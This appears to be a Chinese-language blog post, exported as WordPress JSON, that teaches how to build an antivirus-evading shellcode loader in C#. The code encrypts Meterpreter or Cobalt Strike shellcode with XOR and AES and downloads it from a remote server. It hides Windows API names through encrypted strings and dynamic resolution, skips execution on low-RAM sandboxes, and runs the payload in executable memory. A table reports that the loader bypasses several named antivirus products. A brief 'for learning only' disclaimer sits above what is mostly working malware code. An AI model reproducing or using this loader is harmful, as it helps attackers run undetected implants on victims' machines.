{"id":1242,"date":"2024-01-22T17:52:52","date_gmt":"2024-01-22T09:52:52","guid":{"rendered":"https:\/\/blog.purewind.top\/?p=1242"},"modified":"2024-12-14T00:54:40","modified_gmt":"2024-12-13T16:54:40","slug":"shellcodeloader","status":"publish","type":"post","link":"https:\/\/foreverhome.live\/index.php\/2024\/01\/22\/shellcodeloader\/","title":{"rendered":"\u3010\u514d\u6740\u5bf9\u6297\u3011\u8fdc\u7a0b\u52a0\u8f7dAES+XOR\u5f02\u6216\u52a0\u5bc6\u7684ShellCode\u52a0\u8f7d\u5668"},"content":{"rendered":"\n<p class=\"has-light-green-cyan-color has-text-color wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u4f7f\u7528\u7684\u8f6f\u4ef6\uff1a<\/mark><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>VisualStudio<\/li>\n<\/ul>\n\n\n\n<p class=\"has-light-green-cyan-color has-text-color wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u4f7f\u7528\u7684\u7f16\u7a0b\u8bed\u8a00<\/mark><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>C#<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u6587\u4e2d\u6240\u6d89\u53ca\u7684\u6280\u672f\u3001\u601d\u8def\u548c\u5de5\u5177\u4ec5\u4f9b\u4ee5\u5b89\u5168\u4e3a\u76ee\u7684\u7684\u5b66\u4e60\u4ea4\u6d41\u4f7f\u7528<\/mark><\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u4efb\u4f55\u4eba\u4e0d\u5f97\u5c06\u5176\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u4ee5\u53ca\u76c8\u5229\u7b49\u76ee\u7684\uff0c\u5426\u5219\u540e\u679c\u81ea\u884c\u627f\u62c5\uff01<\/mark><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<p class=\"has-text-align-center has-light-green-cyan-color has-text-color has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u524d\u8a00<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7eaf\u840c\u65b0\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u514d\u6740\uff0c\u6700\u8fd1\u4e5f\u662f\u67e5\u4e86\u5f88\u591a\u8d44\u6599\uff0c\u9762\u5411Github\u7f16\u7a0b\u501f\u9274\u4e86\u5f88\u591a\u5927\u4f6c\u7684\u4ee3\u7801\u3002\u901a\u8fc7<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">XOR\u5f02\u6216\u52a0\u5bc6\u540e\u518d\u8fdb\u884cAES\u52a0\u5bc6<\/mark><\/strong>\uff0c\u7136\u540e\u901a\u8fc7<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u4fee\u6539shellcode\u52a0\u8f7d\u65b9\u5f0f<\/mark><\/strong>\u8fdb\u884c\u7b80\u5355\u7684\u514d\u6740\u3002<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\">ShellCode<\/td><td class=\"has-text-align-center\" data-align=\"center\">360\u6740\u6bd2<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u706b\u7ed2<\/td><td class=\"has-text-align-center\" data-align=\"center\">Defender<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u817e\u8baf\u7535\u8111\u7ba1\u5bb6<\/td><td class=\"has-text-align-center\" data-align=\"center\">VT<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\">Meterpreter<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">13 \/ 69<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\">Cobalt Strike<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">\u221a<\/td><td class=\"has-text-align-center\" data-align=\"center\">13 \/ 69<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a8\u8350<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">Meterpreter<\/mark><\/strong>\u751f\u6210shellcode\uff0cCobalt Strike\u5728\u5c1d\u8bd5\u8fdc\u7a0b\u52a0\u8f7d\u7684shellcode\u65f6\u53ef\u80fd\u88ab360\u62e6\u622a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u81ea\u884c\u52a0\u58f3\u6216\u4fee\u6539\u5c1d\u8bd5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>github\uff1a<a href=\"https:\/\/github.com\/Mangofang\/BypassLoad\" target=\"_blank\"  rel=\"nofollow\" >https:\/\/github.com\/Mangofang\/BypassLoad<\/a><\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u672c\u6587\u7ae0\u4ec5\u63d0\u4f9b\u601d\u8def\uff0c\u5982\u679c\u6709\u66f4\u597d\u7684\u65b9\u6cd5\uff0c\u6b22\u8fce\u8ba8\u8bba<\/mark><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">1.ShellCode\u8fdb\u884cXOR\u5f02\u6216\u52a0\u5bc6<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f02\u6216\u662f\u5bf9\u4e24\u4e2a\u8fd0\u7b97\u5143\u7684\u4e00\u79cd\u903b\u8f91\u5206\u6790\u7c7b\u578b\uff0c\u7b26\u53f7\u4e3aXOR\u6216EOR\u3002\u4e0e\u4e00\u822c\u7684\u903b\u8f91\u6216OR\u4e0d\u540c\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u5f53\u4e24\u4e24\u6570\u503c\u76f8\u540c\u4e3a\u5426\uff0c\u800c\u6570\u503c\u4e0d\u540c\u65f6\u4e3a\u771f<\/mark><\/strong>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728C#\u4e2d\u53ef\u4ee5\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\"^\"<\/mark><\/strong>\u7b26\u53f7\u8868\u793a\u3002<strong>\u6b64\u5904\u9700\u8981\u7279\u522b\u6ce8\u610f\u4ed6\u548c\u4e00\u822c\u7684\u903b\u8f91\u6216\u533a\u522b<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3e\u4e2a\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ returns True \u5f53\u4e24\u4e2a\u503c\u4e0d\u540c\u65f6\u8fd4\u56detrue\nConsole.WriteLine(true ^ false);\n\/\/ \u540c\u4e0a\nConsole.WriteLine(false ^ false);\n\/\/ return False \u5f53\u4e24\u4e2a\u503c\u76f8\u540c\u65f6\u8fd4\u56defalse\nConsole.WriteLine(true ^ true);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6587\u5b57<\/mark><\/strong>\u5728\u5f02\u6216\u7684\u8fc7\u7a0b\u4e2d\u5b9e\u9645\u4f1a\u88ab<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u8f6c\u5316\u4e3aASCII\u7136\u540e\u518d\u8f6c\u4e3a\u4e8c\u8fdb\u5236\u8fdb\u884c\u5bf9\u6bd4<\/mark><\/strong>\uff0c\u4f8b\u5982\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Console.WriteLine('q' ^ 'w');\/\/\u7ed3\u679c\u4e3a\"6\"\n\/\/\u6b64\u5904\"q\"\u7684ASCII\u4e3a113\uff0cw\u7684ASCII\u4e3a119\n\/\/\u5373\u53ef\u8f6c\u5316\u4e3a113 ^ 119 \u518d\u8f6c\u5316\u4e3a\u4e8c\u8fdb\u5236 01110001 ^ 01110111\n\/\/\u7ed3\u679c\u4e3a00000110 \u5373\u5341\u8fdb\u52366<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">string\u7c7b\u578b\u9700\u8981\u5904\u7406\u65f6\u53ef\u4ee5\u5148\u5c06\u5b83ToArray\u8f6c\u4e3achar\u7c7b\u578b\u7684\u6570\u7ec4<\/mark><\/strong>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u628akey\u4e00\u4f4d\u4e00\u4f4d\u548cdata\u5bf9\u6bd4\uff0ckey\u7684\u957f\u5ea6\u5c31\u5fc5\u987b\u7b49\u4e8edata\uff0c\u663e\u7136\u4e0d\u5b9e\u7528\u3002<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">\u6b64\u5904\u53ef\u4ee5\u4f7f\u7528i\u53bb\u53d6\u4f59key\u7684\u957f\u5ea6\uff0c\u53d6\u4f59\u7b97\u6cd5\u7684\u503c\u6c38\u8fdc\u4e0d\u4f1a\u5927\u4e8ekey\u957f\u5ea6<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private static char&#91;] xor(string str)\n{\n    char&#91;] data = str.ToArray();\n    char&#91;] key = \"qwertyuiopasdfghjklzxcvbnm\".ToArray();\n    for (int i = 0; i &lt; data.Length; i++)\n    {\n        data&#91;i] ^= key&#91;i % key.Length];\n    }\n    return data;\n}<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">2.ShellCode\u8fdb\u884cAesEncypt\u52a0\u5bc6<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AES\u53ef\u4ee5\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">RijndaelManaged\u7c7b<\/mark><\/strong>\u8fdb\u884c\u52a0\u5bc6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private static string AesEncrypt(string str, string key)\n{\n    if (string.IsNullOrEmpty(str)) return null;\n    Byte&#91;] toEncryptArray = Encoding.UTF8.GetBytes(str);\n\n    RijndaelManaged rm = new RijndaelManaged\n    {\n        Key = Encoding.UTF8.GetBytes(key),\n        Mode = CipherMode.ECB,\n        Padding = PaddingMode.PKCS7\n    };\n\n    ICryptoTransform cTransform = rm.CreateEncryptor();\n    Byte&#91;] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);\n    return Convert.ToBase64String(resultArray);\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u5904\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">128\u4f4d\u79d8\u94a5 AES-ECB\u6a21\u5f0fPKCS7\u586b\u5145\u6a21\u5f0f\u52a0\u5bc6<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4e86\u65b9\u4fbf\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">Aes.Create<\/mark><\/strong>\u6765\u968f\u673a\u4e00\u4e32128\u4f4d\u7684\u79d8\u94a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>using (Aes aes = Aes.Create())\n{\n    aes.KeySize = 128;\n    aes.GenerateKey();\n    Console.WriteLine(Convert.ToBase64String(aes.Key));\n}<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">3.\u8fdc\u7a0b\u52a0\u8f7d\u5e76\u89e3\u5bc6<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u751f\u6210\u7684shellcode\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u7136\u540eget\u5230\u5b83\u83b7\u53d6\u6570\u636e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\nstring webpath = File.ReadAllText(webpath, Encoding.UTF8);\/\/webpath\u4e3ashellcode\u7684\u94fe\u63a5\nHttpWebRequest req = (HttpWebRequest)WebRequest.Create(new Uri(webpath));\nreq.Method = \"GET\";\nreq.UserAgent = \"Mozilla\/5.0 (Windows NT 10.0; WOW64; Trident\/7.0; rv:11.0) like Gecko\";\nHttpWebResponse res = (HttpWebResponse)req.GetResponse();\nStream stms = res.GetResponseStream();\nStreamReader reader = new StreamReader(stms, Encoding.UTF8);\nstring result = reader.ReadToEnd();\nreader.Close();\nreq.Abort();<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">AES\u89e3\u5bc6\uff0c\u8fd8\u662f\u4e00\u6837\u53ef\u4ee5\u4f7f\u7528RijndaelManaged\u7c7b\uff1a<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private static string AesDecrypt(string str, string key)\n{\n    if (string.IsNullOrEmpty(str)) return null;\n    Byte&#91;] toEncryptArray = Convert.FromBase64String(str);\n\n    RijndaelManaged rm = new RijndaelManaged\n    {\n        Key = Encoding.UTF8.GetBytes(key),\n        Mode = CipherMode.ECB,\n        Padding = PaddingMode.PKCS7\n    };\n\n    ICryptoTransform cTransform = rm.CreateDecryptor();\n    Byte&#91;] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);\n\n    return Encoding.UTF8.GetString(resultArray);\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">XOR\u89e3\u5bc6\uff1a<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private static char&#91;] Xor_Decrypt(char&#91;] data)\n{\n    char&#91;] key = \"qwertyuiopasdfghjklzxcvbnm\".ToArray();\n    for (int i = 0; i &lt; data.Length; i++)\n    {\n        data&#91;i] ^= key&#91;i % key.Length];\n    }\n\n    return data;\n}<\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">4.\u52a0\u8f7dshellcode<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">shellcode\u5728\u514d\u6740\u4e2d\u56fa\u7136\u91cd\u8981\uff0c\u4f46\u662f\u66f4\u91cd\u8981\u7684\u662fshellcode\u7684\u52a0\u8f7d\u65b9\u5f0f\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6740\u8f6f\u9664\u4e86\u53ef\u4ee5\u67e5\u6740shellcode\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u52a0\u8f7d\u65b9\u5f0f\u7684\u7279\u5f81\u8fdb\u884c\u67e5\u6740<\/mark><\/strong>\uff0c\u6bd4\u5982\u654f\u611f\u51fd\u6570\u67e5\u6740\u7b49\u3002\u6b64\u5904\u7ed3\u5408\u5927\u4f6c\u4eec\u63d0\u4f9b\u7684\u52a0\u8f7d\u65b9\u5f0f\uff0c\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u52a8\u6001\u8c03\u7528dll<\/mark><\/strong>\u65b9\u5f0f\u8fdb\u884c\u52a0\u8f7d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>internal static class Unsafe\n{\n    &#91;DllImport(\"Kernel32\")]\n    internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);\n    &#91;DllImport(\"Kernel32\")]\n    internal static extern IntPtr LoadLibrary(string moduleName);\n    internal delegate UInt32 Virtual_Alloc(\n    UInt32 lpStartAddr,\n    UInt32 size,\n    UInt32 flAllocationType,\n    UInt32 flProtect);\n}\ninternal delegate UInt32 Virtual_Alloc(\n    UInt32 lpStartAddr,\n    UInt32 size,\n    UInt32 flAllocationType,\n    UInt32 flProtect);\ninternal delegate IntPtr Create_Thread(\n    UInt32 lpThreadAttributes,\n    UInt32 dwStackSize,\n    UInt32 lpStartAddress,\n    IntPtr param,\n    UInt32 dwCreationFlags,\n    ref UInt32 lpThreadId);\ninternal delegate UInt32 Wait_ForSingle_Object(\n    IntPtr hHandle,\n    UInt32 dwMilliseconds\n);\nstatic void Main(string&#91;] args)\n{\n    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;\n    PerformanceCounter ramCounter = new PerformanceCounter(\"Memory\", \"Available MBytes\");\n    if (ramCounter.NextValue() &gt;= 4096)\n    {\n        byte&#91;] shellcode = GetShellCode();\n        string key = \"BsijVUv2v+Ql\/NM3pQv8uQ==\";\n        string k = \"AyD9Y9zW9dtvfqJzJb33gA==\";\n        string v = \"YlnmzpP5550nqLxW+3wdNQ==\";\n        string c = \"AkJecKOgemBiLxROAtA9WA==\";\n        string w = \"cH9ouyrpylq2wwZqDlf5Uod4zw5Vx+OrGTO0iMg4ah8=\";\n                \n        IntPtr trva = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(v, key));\n        Virtual_Alloc va = (Virtual_Alloc)Marshal.GetDelegateForFunctionPointer(trva, typeof(Virtual_Alloc));\n        IntPtr trct = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(c, key));\n        IntPtr trwf = Unsafe.GetProcAddress(Unsafe.LoadLibrary(AesDecrypt(k, key)), AesDecrypt(w, key));\n        Create_Thread ct = (Create_Thread)Marshal.GetDelegateForFunctionPointer(trct, typeof(Create_Thread));\n        Wait_ForSingle_Object wfoi = (Wait_ForSingle_Object)Marshal.GetDelegateForFunctionPointer(trwf, typeof(Wait_ForSingle_Object));\n\n        UInt32 mem = va(0, (UInt32)shellcode.Length, 0x1000, 0x40);\n        Marshal.Copy(shellcode, 0, (IntPtr)(mem), shellcode.Length);\n        UInt32 threadId = 0;\n        IntPtr hThread = ct(0, 0, mem, IntPtr.Zero, 0, ref threadId);\n        wfoi(hThread, 0xFFFFFFFF);\n    }\n\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/01\/1705917342-AB76D9F0-6FF6-424c-BA8C-5AC09209FF61.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 910px; --smush-placeholder-aspect-ratio: 910\/561;\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/01\/1705917351-CFE2B5D0-BF30-4063-9ADC-6426314F6132-1024x284.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/284;\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f7f\u7528\u7684\u8f6f\u4ef6\uff1a \u4f7f\u7528\u7684\u7f16\u7a0b\u8bed\u8a00 \u6587\u4e2d\u6240\u6d89\u53ca\u7684\u6280\u672f\u3001\u601d\u8def\u548c\u5de5\u5177\u4ec5\u4f9b\u4ee5\u5b89\u5168\u4e3a\u76ee\u7684\u7684\u5b66\u4e60\u4ea4\u6d41\u4f7f\u7528 \u4efb\u4f55\u4eba\u4e0d\u5f97\u5c06\u5176\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u4ee5\u53ca\u76c8\u5229\u7b49\u76ee\u7684 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[8,6],"tags":[],"class_list":["post-1242","post","type-post","status-publish","format-standard","hentry","category-tools","category-networksecurity"],"_links":{"self":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1242","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/comments?post=1242"}],"version-history":[{"count":19,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1242\/revisions"}],"predecessor-version":[{"id":1803,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1242\/revisions\/1803"}],"wp:attachment":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/media?parent=1242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/categories?post=1242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/tags?post=1242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}